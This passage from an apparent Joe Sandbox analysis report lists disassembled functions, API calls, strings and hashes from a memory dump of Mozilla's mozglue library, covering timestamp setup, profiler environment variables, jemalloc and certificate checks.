EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C9537CB
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C953801
__aulldiv.LIBCMT ref: 6C953883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C953902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C953918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C95394C

Strings

QPC, xrefs: 6C9538FC
GTC, xrefs: 6C953912
GenuntelineI, xrefs: 6C953639
MOZ_TIMESTAMP_MODE, xrefs: 6C9535DB
AuthcAMDenti, xrefs: 6C953946

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 26ed5ced44c9aa1577918de3aab6bbf7f2504a1cc1f72e926ebf17c93282d5c4
Instruction ID: 658b735bf762aebd1eb55ad421c753acc8d8f3b2ac1c6ad5fe1dc3088615d149
Opcode Fuzzy Hash: 26ed5ced44c9aa1577918de3aab6bbf7f2504a1cc1f72e926ebf17c93282d5c4
Instruction Fuzzy Hash: 4BB193B1B09B009BDB08DF38C85561ABBF5FB8A704F55892DF599E3B90D730E9408B91

Function 6C96C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C96C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C96C969
GetSystemInfo.KERNEL32(?), ref: 6C96C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C96C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C96C9E2

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 066f3a386cdd80a083f4653106413906abd9f3794fdbb4dcfb1baa6ee936c6b2
Instruction ID: 9ee9738c2a8a6c4f9e6c533108214e4a777461f5b42f59fcf86c94ad6a6c57a6
Opcode Fuzzy Hash: 066f3a386cdd80a083f4653106413906abd9f3794fdbb4dcfb1baa6ee936c6b2
Instruction Fuzzy Hash: 9721C832745A146BEB04AA69DC84BAE7279AB46744F60051AF903B7E80DB60E940C7A1

Function 6C953060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C953095

Part of subcall function 6C9535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DF688,00001000), ref: 6C9535D5
Part of subcall function 6C9535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9535E0
Part of subcall function 6C9535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9535FD
Part of subcall function 6C9535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C95363F
Part of subcall function 6C9535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C95369F
Part of subcall function 6C9535A0: __aulldiv.LIBCMT ref: 6C9536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C95309F

Part of subcall function 6C975B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9756EE,?,00000001), ref: 6C975B85
Part of subcall function 6C975B50: EnterCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975B90
Part of subcall function 6C975B50: LeaveCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975BD8
Part of subcall function 6C975B50: GetTickCount64.KERNEL32 ref: 6C975BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9530BE

Part of subcall function 6C9530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C953127
Part of subcall function 6C9530F0: __aulldiv.LIBCMT ref: 6C953140

Part of subcall function 6C98AB2A: __onexit.LIBCMT ref: 6C98AB30

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0088ff590e51e29d5d98fc0f73c348403daa0d9f64a6dcb850a30aa6584e80aa
Instruction ID: b3aebd78f234a2a2590a36ff075f2eaf2ac2b283d8202f17e2f694980101aa9a
Opcode Fuzzy Hash: 0088ff590e51e29d5d98fc0f73c348403daa0d9f64a6dcb850a30aa6584e80aa
Instruction Fuzzy Hash: E8F0A962D29F4C96CB10DF7498421E6B374AF7B118FA4571AF84477A61FB20B1D88391

Non-executed Functions

Function 6C965440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C965492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9654BE
__Init_thread_footer.LIBCMT ref: 6C9654DB

Part of subcall function 6C98AB3F: EnterCriticalSection.KERNEL32(6C9DE370,?,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284), ref: 6C98AB49
Part of subcall function 6C98AB3F: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98AB7C

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C965516
GetCurrentThreadId.KERNEL32 ref: 6C96556A
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C965577
moz_xmalloc.MOZGLUE(00000070), ref: 6C965585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C965590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9655E6
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C965606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C965616

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

GetCurrentThreadId.KERNEL32 ref: 6C96563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C965646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C96567C
free.MOZGLUE(?), ref: 6C9656AE

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9656E8
GetCurrentThreadId.KERNEL32 ref: 6C965707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C96570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C965729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C96574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C96576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C965796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9657CA

Strings

[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C965AC9
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C965749
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C96584E
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C965D01
MOZ_PROFILER_STARTUP, xrefs: 6C9655E1
MOZ_BASE_PROFILER_HELP, xrefs: 6C965511
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9657C5
GeckoMain, xrefs: 6C965554, 6C9655D5
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9654A3
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9654B9
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C965D24
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C96548D
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C965C56
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9657AE
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C965791
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C965724
[I %d/%d] profiler_init, xrefs: 6C96564E
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9656E3
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C965717
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C965BBE
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C965766
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C965D2B
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C965CF9
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C965D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C965B38

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 63f6ac4032cd796912983aa48e268e6ab745e3834178436f04110156bb8c4789
Instruction ID: dbcd13adabc6b76950f29d284a6a10ca0b35203b47f4cfe3f91f28bc11d472e7
Opcode Fuzzy Hash: 63f6ac4032cd796912983aa48e268e6ab745e3834178436f04110156bb8c4789
Instruction Fuzzy Hash: 0D222871908B009FFB009F76C45865A77B5AF9634CF554629E84AA7F82EB30E484CB53

Function 6C99B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C99B845
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99B852
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99B884
InitializeConditionVariable.KERNEL32(?), ref: 6C99B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C99B9FD
GetCurrentThreadId.KERNEL32 ref: 6C99BA05
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C99BA27
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99BA4B
free.MOZGLUE(?), ref: 6C99C9C7
free.MOZGLUE(?), ref: 6C99C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C99C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C99C7DA

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 9d61be44a95b50d3e329c7fedd51e712ba87e9a0fda9c7dc4dcd002f89a0142d
Instruction ID: 33595b7736bef566392ee73db2a2ff1ddd88cb8ff5169e84838847bee9862f62
Opcode Fuzzy Hash: 9d61be44a95b50d3e329c7fedd51e712ba87e9a0fda9c7dc4dcd002f89a0142d
Instruction Fuzzy Hash: 9BA28D71A087808FD725CF28C88079BB7F5BFD9318F144A2DE899A7750DB70E9458B92

Function 6C966C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C966CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C966D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C966D26

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C966D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C966D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C966D73
free.MOZGLUE(00000000), ref: 6C966D80
CertGetNameStringW.CRYPT32 ref: 6C966DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C966DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C966DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C966DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C966E10
CryptMsgClose.CRYPT32(00000000), ref: 6C966E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C966E34
CreateFileW.KERNEL32 ref: 6C966EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C966F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C966F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C96709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C967103
free.MOZGLUE(00000000), ref: 6C967153
CloseHandle.KERNEL32(?), ref: 6C967176
__Init_thread_footer.LIBCMT ref: 6C967209
__Init_thread_footer.LIBCMT ref: 6C96723A
__Init_thread_footer.LIBCMT ref: 6C96726B
__Init_thread_footer.LIBCMT ref: 6C96729C
__Init_thread_footer.LIBCMT ref: 6C9672DC
__Init_thread_footer.LIBCMT ref: 6C96730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9673C2
VerSetConditionMask.NTDLL ref: 6C9673F3
VerSetConditionMask.NTDLL ref: 6C9673FF
VerSetConditionMask.NTDLL ref: 6C967406
VerSetConditionMask.NTDLL ref: 6C96740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C96741A
moz_xmalloc.MOZGLUE(?), ref: 6C96755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C967568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C967585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C967598
free.MOZGLUE(00000000), ref: 6C9675AC

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

Strings

(, xrefs: 6C96768A
SHA256, xrefs: 6C966EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C9672C8
wintrust.dll, xrefs: 6C9672CD

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 31be3325527c41bba886fa78816f1523284b1e0da2efbb39b157bee8857cada6
Instruction ID: 1af148cfaa595b17f45e2f4d97572ae5f9a3a2cedea4a4921c9536d7c3c72a20
Opcode Fuzzy Hash: 31be3325527c41bba886fa78816f1523284b1e0da2efbb39b157bee8857cada6
Instruction Fuzzy Hash: CB52D3B1A046149BFB21DF25CC85BAA77BCEF55708F104199E909A7A80DB70EBC4CF91

Function 6C986FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C987019
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C987061
EnterCriticalSection.KERNEL32(?), ref: 6C9871A4
LeaveCriticalSection.KERNEL32(?), ref: 6C98721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C98723E
EnterCriticalSection.KERNEL32(?), ref: 6C98726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C9872B2
LeaveCriticalSection.KERNEL32(?), ref: 6C98733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C9873E8
LeaveCriticalSection.KERNEL32(?), ref: 6C98961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C989622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C989642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9896CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9896DB
AcquireSRWLockExclusive.KERNEL32(6C9DE804), ref: 6C989747
GetSystemInfo.KERNEL32(?), ref: 6C989792
__Init_thread_footer.LIBCMT ref: 6C9897A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9DE810,00000040), ref: 6C9897CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7B8,00001388), ref: 6C989838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE744,00001388), ref: 6C98984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE784,00001388), ref: 6C989874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7DC,00001388), ref: 6C989895

Strings

<jemalloc>, xrefs: 6C989B33, 6C989BE3
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C989993
MALLOC_OPTIONS, xrefs: 6C9897CA
Compile-time page size does not divide the runtime one., xrefs: 6C989B38
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9899BD
MOZ_CRASH(), xrefs: 6C989B42
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C989933, 6C989A33, 6C989A4E
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9899D2
: (malloc) Unsupported character in malloc options: ', xrefs: 6C989BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9899A8

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: a507a74d4e20be4dad0cf0eb55c21720bf68a6f1198f689754bf576464d3bb77
Instruction ID: 4cfab2d6bf7420a4ecdf927842537904bdaab14e5361d5b89ce12db4493a5c79
Opcode Fuzzy Hash: a507a74d4e20be4dad0cf0eb55c21720bf68a6f1198f689754bf576464d3bb77
Instruction Fuzzy Hash: A253B171A067018FD704CF28C580715FBE5BF85728F2ACAADE8699B791D371E841CB91

Function 6C990DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C990F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C990F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C990FB7
EnterCriticalSection.KERNEL32(?), ref: 6C990FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C991031
LeaveCriticalSection.KERNEL32(?), ref: 6C9910D0
EnterCriticalSection.KERNEL32(?), ref: 6C99117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C991C39
EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C993391
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C9933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C993431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C993437

Strings

<jemalloc>, xrefs: 6C993941, 6C9939F1
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C993793
MALLOC_OPTIONS, xrefs: 6C9935FE
Compile-time page size does not divide the runtime one., xrefs: 6C993946
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9937BD
MOZ_CRASH(), xrefs: 6C993950
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C993559, 6C99382D, 6C993848
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9937D2
: (malloc) Unsupported character in malloc options: ', xrefs: 6C993A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9937A8

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

